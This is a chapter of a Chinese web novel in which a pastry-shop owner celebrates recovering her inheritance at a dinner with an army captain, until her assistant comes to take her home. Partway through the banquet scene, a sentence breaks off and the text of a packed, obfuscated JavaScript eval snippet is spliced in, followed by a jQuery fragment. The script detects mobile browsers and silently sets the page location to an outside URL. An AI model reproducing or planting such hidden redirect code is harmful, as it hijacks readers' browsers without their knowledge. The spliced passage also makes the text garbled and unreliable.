26. 微微醋意

作品:《桃花深处点心铺

    “裴东家这是遇上什么喜事了?这么高兴?”


    裴清梧倒也不跟他藏着掖着,大大方方地说:“哦,是曾经欺负过我的叔父婶娘挨了揍,我心里畅快。”


    赵叙击掌而笑:“裴东家倒是个爽快人。”


    “当然要爽快,昔年他们欺负我不过是个孩子,抢走了我的东西,还苛待于我,曾经我没有办法,如今有了,自然要一一讨回来的。”


    她才不要以德报怨,只要大嘴巴子抽小人。


    “听说,我阿爷判决,你爷娘留下的田产房屋,尽数还给你了?”


    “是这样。”


    “这是好事啊,要不,我请裴东家吃顿酒菜,以表庆祝。”


    如今和赵叙也算相熟了,只是请吃顿饭的话,裴清梧倒不会拒绝,何况赵叙有钱,去的地方也都是好地方,跟着蹭一顿好的,倒也不错。


    但今日她出来,铺子里的人都是忧心忡忡的,她总得回去,跟人家报个平安。


    赵叙看出了她心中所想,道:“要不,东家先回铺子一趟,这样的喜事,也总得跟伙计们说。”


    “好,那校尉稍等。”


    裴清梧先行回了酥山小集,将公堂上的事略略与众人一说,尤其着重描写了一下,挨板子时裴仲礼夫妇的狼狈。


    由于是裴清梧亲自救出虎狼窝的,茜桃头一个听得兴致勃勃,听闻那两个黑心肝的家伙险些被打死,当即笑道:“好好好,老天爷开眼,叫他们那般待我们东家!”


    “就是,师父你真不该拦,让衙役当场把他们打死多好!”沈五娘也高兴。


    她阿爷身世和裴清梧很像,父亲早亡,母亲改嫁,留下的东西,差不多都被亲戚们侵吞了,后来卖豆花有了进账,那帮小人还不知廉耻地上门打秋风。


    “好,今日喜庆,我当回馈一下咱们铺子的客人,茜桃,昨日,我不是做了一批奶皮酥和茯苓糕么,正好都是新品。”


    “东家的意思是……”


    “都拿出来,就说免费送!先到先得,送完就完了!”裴清梧豪横地大手一挥。


    负责算账的沈五娘吓了一跳,下意识说了句“那怎么行”,但在心中细细一算,以酥山小集的每日进账,将那些成本赚回来,不过是眨眼的功夫,便也不说什么了。


    “好,让大家伙都沾沾喜气。”


    裴清梧又说了赵叙请吃饭的事情,说今晚可能要迟一些回来,旁的人倒不说什么,只顾恒追问了一句:“赵校尉只说请吃饭,没说别的么?”


    “是……只有东家和校尉吗?”


    银岚笑着点了点他的额头:“你呀,莫不是嘴里犯了馋,要和东家一起去,沾沾赵校尉的光?”


    “才、才不是……”顾恒嗫嚅道。


    裴清梧也笑:“好了,不过是吃顿饭,要是我迟迟未归,阿恒再来接我也不迟。”


    “嗯,好。”顾恒用力点了点头。


    此次赵叙请客,并不在太白楼,而是秦州另一家知名酒楼,膳福斋。


    据说这家掌柜的阿翁,曾经是长安城里有名的厨子,给无数达官贵人掌过勺,甚至还入过皇宫,给女皇陛下做过御膳。


    女皇口味挑剔,却独独对他做的红羊枝杖蹄情有独钟。


    因为女皇的看重,他也招来了无数嫉妒和陷害,最终,他深感疲惫,回老家秦州开了膳福斋。


    有那样的名头,很快,他就被秦州的达官贵人所追捧。


    如今斯人已去,名头却还在,尤其他的孙子,也就是如今掌柜的兼主厨,认认真真地传下了他的手艺。


    “来了这膳福斋,红羊枝杖蹄自是头一个要吃的,裴东家看看,还想吃什么?”


    作为秦州刺史家的郎君,赵叙是贵客,自然有几分面子,让掌柜的给他安排最好的包间,临窗而坐,幽静又雅致。


    “嗯……”裴清梧望着菜单犯难。


    这菜名一个个文绉绉的,她哪里懂什么是什么?


    一旁的伙计极有眼色,忙上前介绍:“娘子容禀,咱们膳福斋有几道菜可是祖上传下来的绝活儿,轻易别处吃不着!就比如这升平炙,取的是鹿脊最嫩的里脊肉,薄切如纸,用秘料腌了,穿在签子上猛火快烤,外头一层焦香,里头鲜嫩多汁,最宜沾点椒盐入口。”


    裴清梧点点头,这名字虽雅,但听着像是烤肉串,比较实在。


    伙计见她有兴趣,更来劲了:“那羊皮花丝就更妙了!非是羊皮,乃是用极嫩的小羊羔肉切得细如发丝,用滚烫的羊油快溜,瞬间定型,配着新鲜掐的嫩芽菜同炒,脆生生,鲜灵灵,入口即化,毫无腥膻。”


    裴清梧听得微微蹙眉。


    这刀工,听着就麻烦。


    “还有这丁子香淋脍,乃是用新鲜活鱼片得薄透,冰水镇过,浇上咱们特调的酱汁,里头放了上好的丁子香、花椒、醋、酱,鱼肉入口冰凉滑嫩,酸咸鲜香俱全,最是开胃解腻。”


    “至于八仙盘……”


    伙计刚要继续,裴清梧只觉得那些文绉绉的名字听得头疼,赶紧抬手止住他:“罢了罢了,伙计,你这一串名儿报下来,我听着都累……我就点个实在的,那个升平炙听着不错,再来个乳沦鸡……这是什么?”


    她记得菜单上有这道,名字不算太玄乎。


    伙计立刻点头:“娘子好眼力,乳沦鸡取的是刚开嗓的小公鸡,用牛乳慢浸至熟,皮滑肉嫩,最是鲜甜,吃时蘸着姜醋碟儿或是椒麻汁儿都极好。”


    “行,就它了。”裴清梧拍板。


    赵叙在一旁忍俊不禁,这裴东家果然爽快,点菜也透着股利落劲儿。


    他便接着道:“那我来点一道骆驼羹,清淡些,正好配肉,再温一壶醽醁酒来,要温热的。”


    伙计唱了个喏,麻利地下去安排了。


    不多时,一道道佳肴便流水般送了上来,香气瞬间盈满雅间。


    那升平炙果然名不虚传,小小的鹿肉串烤得焦黄油亮,滋滋冒着小泡,撒着细细的香料末,香气霸道。


    乳沦鸡斩得齐整,皮色如淡玉,盛在白瓷盘里,配着碧莹莹的姜蓉和红亮的椒麻汁,看着就清爽。


    骆驼羹是用驼峰肉和鸽蛋、菌菇熬炖的清羹,汤色澄澈,鲜香扑鼻。


    青瓷酒壶装着温热的醽醁酒,透出温润的碧色。


    所有菜品上齐后,伙计小心翼翼捧上来的那道主菜,才真正吸引了裴清梧的目光。


    正是传说中的“红羊枝杖蹄”。


    那是一个厚重的陶釜,中盛一块硕大的带皮羊腿肉,炖得极其酥烂,那肉呈现出极其诱人的红润光泽,犹如上好红枣般,浓稠油亮的酱汁裹满了每一寸表面,在光


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319705|181774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下泛着琥珀般的光晕。


    热气蒸腾间,浓郁的复合香气滚滚而来是羊肉本身的醇厚脂香,融合了八角、桂皮、豆蔻、丁香等多种香料长时间焖炖后产生的味道,还有酱香和酒香,以及一丝奇特的甜香,大约是用了红枣或蜂蜜,直往人鼻子里钻,勾得腹中馋虫大动。


    “娘子请看,这便是咱家祖传的红羊枝杖蹄。”伙计带着几分自豪,介绍道:“用的是羔羊后腿最丰腴处,先用秘料腌制一日,再以慢火煨了足足四个时辰,您瞧这色泽,红亮如宝石,全靠火候和酱汁功夫,这肉……”


    伙计说着,用特制的长柄银匙轻轻在羊肉边缘一碰。


    神奇的一幕发生了,那看似完整的羊肉,竟像水波纹般轻轻颤动了一下,边缘的肉丝瞬间便与主体分离,昭示着肉酥烂到了极致,根本无需用力切割。


    “这肉入口即化,肥而不腻,瘦肉酥烂如絮,筋膜软糯胶黏,相传当年女皇陛下尝了,赞其‘烂如春风扶柳枝,色如红霞映华杖’,故此得名。”伙计恭敬地退到一边:“娘子、郎君,请慢用。”


    那羊肉红亮诱人,裴清梧看着就想吃,和赵叙谦让过一番后,她拿起筷子伸了过去。


    赵叙含笑看着她兴致勃勃的样子,也举起了酒杯:“裴东家,大喜事配好滋味,请!”


    不必用力,肉丝便顺从地分离,自己送入口中。


    甫一入口,极致酥烂的羊肉?便如暖阳下的初雪般悄然化开,牙齿几乎是多余的存在,舌尖只需轻轻一抿,丰腴柔软的肉纤维便彻底分离消融,只留下满口的醇厚脂香。


    那酱汁并非浮于表面的浓腻,经过长时间煨炖,早已深深浸透到肉的每一寸肌理深处,层次分明却不杂乱。


    皮的部分是另一种惊艳。


    软糯粘牙,富含胶质,筋膜则彻底炖成了近乎透明的胶状,入口即化,与酥烂的瘦肉一同滑下喉咙,只余下满口浓郁的肉香。


    还在回味时,赵叙的酒杯适时递到面前:“如何?这膳福斋,没叫裴东家失望吧?”


    裴清梧眼中光彩更盛,痛快地举起自己的酒杯与之轻轻一碰:“当然没有!”


    二人一边吃一边聊,赵叙好奇道:“裴东家,怎么就想着开个点心铺子呢?”


    “也是一门手艺,浪费掉了多可惜。”裴清梧道:“再说,开点心铺子,得的银钱是自己的,不比依附于人活着强?”


    “是,是,裴东家说的是。”赵叙笑道,饮了口酒:“这次,也算是给我的一次践行吧。”


    “怎么了?”联想到赵叙的职业,裴清梧立刻紧张了起来。


    “哦,倒不是什么大事,近日吐蕃极不安分,屡屡挑衅,节度使叫我们上下戒严,以后的日子,都要待在军中了。”


    裴清梧若有所思:“那,危险吗?”


    “行军打仗,哪里有不危险的,只能尽量注意着,若是……也只能听天由命了。”


    这样聊着喝着,不知不觉间,时间过去了许久,裴清梧有些醉了,看赵叙都重影,吃吃地在那里笑:“咦,赵校尉,怎么现在有两个你呀?”


    赵叙轻笑:“裴东家吃酒吃醉了,我这就送你回去。”


    话音未落,包间的门便被推开。


    顾恒站在门口,叉手道:“不劳动赵校尉,我自来接我的东家回家。”